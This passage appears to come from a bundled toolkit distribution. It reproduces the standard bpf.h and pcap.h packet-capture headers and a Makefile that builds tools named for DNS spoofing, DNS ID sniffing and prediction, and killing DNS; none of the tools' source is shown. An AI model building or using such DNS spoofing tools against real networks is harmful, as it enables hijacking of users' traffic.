 * Struct return by BIOCVERSION.  This represents the version number of 
 * the filter language described by the instruction encodings below.
 * bpf understands a program iff kernel_major == filter_major &&
 * kernel_minor >= filter_minor, that is, if the value returned by the
 * running kernel has the same major number and a minor number equal
 * equal to or less than the filter being downloaded.  Otherwise, the
 * results are undefined, meaning an error may be returned or packets
 * may be accepted haphazardly.
 * It has nothing to do with the source code version.
 */
struct bpf_version {
	u_short bv_major;
	u_short bv_minor;
};
/* Current version number of filter architecture. */
#define BPF_MAJOR_VERSION 1
#define BPF_MINOR_VERSION 1

/*
 * BPF ioctls
 *
 * The first set is for compatibility with Sun's pcc style
 * header files.  If your using gcc, we assume that you
 * have run fixincludes so the latter set should work.
 */
#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
#define	BIOCGBLEN	_IOR(B,102, u_int)
#define	BIOCSBLEN	_IOWR(B,102, u_int)
#define	BIOCSETF	_IOW(B,103, struct bpf_program)
#define	BIOCFLUSH	_IO(B,104)
#define BIOCPROMISC	_IO(B,105)
#define	BIOCGDLT	_IOR(B,106, u_int)
#define BIOCGETIF	_IOR(B,107, struct ifreq)
#define BIOCSETIF	_IOW(B,108, struct ifreq)
#define BIOCSRTIMEOUT	_IOW(B,109, struct timeval)
#define BIOCGRTIMEOUT	_IOR(B,110, struct timeval)
#define BIOCGSTATS	_IOR(B,111, struct bpf_stat)
#define BIOCIMMEDIATE	_IOW(B,112, u_int)
#define BIOCVERSION	_IOR(B,113, struct bpf_version)
#define BIOCSTCPF	_IOW(B,114, struct bpf_program)
#define BIOCSUDPF	_IOW(B,115, struct bpf_program)
#else
#define	BIOCGBLEN	_IOR('B',102, u_int)
#define	BIOCSBLEN	_IOWR('B',102, u_int)
#define	BIOCSETF	_IOW('B',103, struct bpf_program)
#define	BIOCFLUSH	_IO('B',104)
#define BIOCPROMISC	_IO('B',105)
#define	BIOCGDLT	_IOR('B',106, u_int)
#define BIOCGETIF	_IOR('B',107, struct ifreq)
#define BIOCSETIF	_IOW('B',108, struct ifreq)
#define BIOCSRTIMEOUT	_IOW('B',109, struct timeval)
#define BIOCGRTIMEOUT	_IOR('B',110, struct timeval)
#define BIOCGSTATS	_IOR('B',111, struct bpf_stat)
#define BIOCIMMEDIATE	_IOW('B',112, u_int)
#define BIOCVERSION	_IOR('B',113, struct bpf_version)
#define BIOCSTCPF	_IOW('B',114, struct bpf_program)
#define BIOCSUDPF	_IOW('B',115, struct bpf_program)
#endif

/*
 * Structure prepended to each packet.
 */
struct bpf_hdr {
	struct timeval	bh_tstamp;	/* time stamp */
	bpf_u_int32	bh_caplen;	/* length of captured portion */
	bpf_u_int32	bh_datalen;	/* original length of packet */
	u_short		bh_hdrlen;	/* length of bpf header (this struct
					   plus alignment padding) */
};
/*
 * Because the structure above is not a multiple of 4 bytes, some compilers
 * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
 * Only the kernel needs to know about it; applications use bh_hdrlen.
 */
#ifdef KERNEL
#define SIZEOF_BPF_HDR 18
#endif

/*
 * Data-link level type codes.
 */
#define DLT_NULL	0	/* no link-layer encapsulation */
#define DLT_EN10MB	1	/* Ethernet (10Mb) */
#define DLT_EN3MB	2	/* Experimental Ethernet (3Mb) */
#define DLT_AX25	3	/* Amateur Radio AX.25 */
#define DLT_PRONET	4	/* Proteon ProNET Token Ring */
#define DLT_CHAOS	5	/* Chaos */
#define DLT_IEEE802	6	/* IEEE 802 Networks */
#define DLT_ARCNET	7	/* ARCNET */
#define DLT_SLIP	8	/* Serial Line IP */
#define DLT_PPP		9	/* Point-to-point Protocol */
#define DLT_FDDI	10	/* FDDI */
#define DLT_ATM_RFC1483	11	/* LLC/SNAP encapsulated atm */
#define DLT_RAW		12	/* raw IP */
#define DLT_SLIP_BSDOS	13	/* BSD/OS Serial Line IP */
#define DLT_PPP_BSDOS	14	/* BSD/OS Point-to-point Protocol */

/*
 * The instruction encondings.
 */
/* instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define		BPF_LD		0x00
#define		BPF_LDX		0x01
#define		BPF_ST		0x02
#define		BPF_STX		0x03
#define		BPF_ALU		0x04
#define		BPF_JMP		0x05
#define		BPF_RET		0x06
#define		BPF_MISC	0x07

/* ld/ldx fields */
#define BPF_SIZE(code)	((code) & 0x18)
#define		BPF_W		0x00
#define		BPF_H		0x08
#define		BPF_B		0x10
#define BPF_MODE(code)	((code) & 0xe0)
#define		BPF_IMM 	0x00
#define		BPF_ABS		0x20
#define		BPF_IND		0x40
#define		BPF_MEM		0x60
#define		BPF_LEN		0x80
#define		BPF_MSH		0xa0

/* alu/jmp fields */
#define BPF_OP(code)	((code) & 0xf0)
#define		BPF_ADD		0x00
#define		BPF_SUB		0x10
#define		BPF_MUL		0x20
#define		BPF_DIV		0x30
#define		BPF_OR		0x40
#define		BPF_AND		0x50
#define		BPF_LSH		0x60
#define		BPF_RSH		0x70
#define		BPF_NEG		0x80
#define		BPF_JA		0x00
#define		BPF_JEQ		0x10
#define		BPF_JGT		0x20
#define		BPF_JGE		0x30
#define		BPF_JSET	0x40
#define BPF_SRC(code)	((code) & 0x08)
#define		BPF_K		0x00
#define		BPF_X		0x08

/* ret - BPF_K and BPF_X also apply */
#define BPF_RVAL(code)	((code) & 0x18)
#define		BPF_A		0x10

/* misc */
#define BPF_MISCOP(code) ((code) & 0xf8)
#define		BPF_TAX		0x00
#define		BPF_TXA		0x80

/*
 * The instruction data structure.
 */
struct bpf_insn {
	u_short	code;
	u_char 	jt;
	u_char 	jf;
	bpf_int32 k;
};

/*
 * Macros for insn array initializers.
 */
#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }

#ifdef KERNEL
extern u_int bpf_filter();
extern void bpfattach();
extern void bpf_tap();
extern void bpf_mtap();
#else
#if __STDC__
extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
#endif
#endif

/*
 * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
 */
#define BPF_MEMWORDS 16

#endif

----[ END of bpf.h ]----

---[pcap.h ]---
/*
 * Copyright (c) 1993, 1994, 1995, 1996, 1997
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by the Computer Systems
 *	Engineering Group at Lawrence Berkeley Laboratory.
 * 4. Neither the name of the University nor of the Laboratory may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
 */

#ifndef lib_pcap_h
#define lib_pcap_h

#include <sys/types.h>
#include <sys/time.h>

#include <bpf.h>

#include <stdio.h>

#define PCAP_VERSION_MAJOR 2
#define PCAP_VERSION_MINOR 4

#define PCAP_ERRBUF_SIZE 256

/*
 * Compatibility for systems that have a bpf.h that
 * predates the bpf typedefs for 64-bit support.
 */
#if BPF_RELEASE - 0 < 199406
typedef	int bpf_int32;
typedef	u_int bpf_u_int32;
#endif

typedef struct pcap pcap_t;
typedef struct pcap_dumper pcap_dumper_t;

/*
 * The first record in the file contains saved values for some
 * of the flags used in the printout phases of tcpdump.
 * Many fields here are 32 bit ints so compilers won't insert unwanted
 * padding; these files need to be interchangeable across architectures.
 */
struct pcap_file_header {
	bpf_u_int32 magic;
	u_short version_major;
	u_short version_minor;
	bpf_int32 thiszone;	/* gmt to local correction */
	bpf_u_int32 sigfigs;	/* accuracy of timestamps */
	bpf_u_int32 snaplen;	/* max length saved portion of each pkt */
	bpf_u_int32 linktype;	/* data link type (DLT_*) */
};

/*
 * Each packet in the dump file is prepended with this generic header.
 * This gets around the problem of different headers for different
 * packet interfaces.
 */
struct pcap_pkthdr {
	struct timeval ts;	/* time stamp */
	bpf_u_int32 caplen;	/* length of portion present */
	bpf_u_int32 len;	/* length this packet (off wire) */
};

/*
 * As returned by the pcap_stats()
 */
struct pcap_stat {
	u_int ps_recv;		/* number of packets received */
	u_int ps_drop;		/* number of packets dropped */
	u_int ps_ifdrop;	/* drops by interface XXX not yet supported */
};

typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
			     const u_char *);

char	*pcap_lookupdev(char *);
int	pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t	*pcap_open_live(char *, int, int, int, char *);
pcap_t	*pcap_open_offline(const char *, char *);
void	pcap_close(pcap_t *);
int	pcap_loop(pcap_t *, int, pcap_handler, u_char *);
int	pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
	pcap_next(pcap_t *, struct pcap_pkthdr *);
int	pcap_stats(pcap_t *, struct pcap_stat *);
int	pcap_setfilter(pcap_t *, struct bpf_program *);
void	pcap_perror(pcap_t *, char *);
char	*pcap_strerror(int);
char	*pcap_geterr(pcap_t *);
int	pcap_compile(pcap_t *, struct bpf_program *, char *, int,
	    bpf_u_int32);
/* XXX */
int	pcap_freecode(pcap_t *, struct bpf_program *);
int	pcap_datalink(pcap_t *);
int	pcap_snapshot(pcap_t *);
int	pcap_is_swapped(pcap_t *);
int	pcap_major_version(pcap_t *);
int	pcap_minor_version(pcap_t *);

/* XXX */
FILE	*pcap_file(pcap_t *);
int	pcap_fileno(pcap_t *);

pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
void	pcap_dump_close(pcap_dumper_t *);
void	pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);

/* XXX this guy lives in the bpf tree */
u_int	bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
char	*bpf_image(struct bpf_insn *, int);
#endif

----[ END of pcap.h ]----

----[Makefile]----
# Version 0.2
SHELL  = /bin/sh

# Uncomment this if you're not on Linux
#LIBS   = -lsocket -lnsl -lpcap

CC = gcc
RM = /bin/rm

BIN = .
#BIN = w00w00/bins

LIBS = -lpcap
CFLAGS = -I. -L.  

all: WSDkillDNS WSDspoofID WSDsniffID WSD-baddns WSD-IDpred

WSDkillDNS: WSDkillDNS.c
	$(CC) $(CFLAGS) WSDkillDNS.c  $(LIBS) -o $(BIN)/WSDkillDNS 

WSDspoofID: WSDspoofID.c
	$(CC) $(CFLAGS) WSDspoofID.c  $(LIBS) -o $(BIN)/WSDspoofID 

WSDsniffID: WSDsniffID.c
	$(CC) $(CFLAGS) WSDsniffID.c  $(LIBS) -o $(BIN)/WSDsniffID 

WSD-baddns: WSD-baddns.c
	$(CC) $(CFLAGS) WSD-baddns.c $(LIBS) -o $(BIN)/WSD-baddns  

WSD-IDpred: WSD-IDpred.c
	$(CC) $(CFLAGS) WSD-IDpred.c   $(LIBS) -o $(BIN)/WSD-IDpred

----[END of Makefile ]----

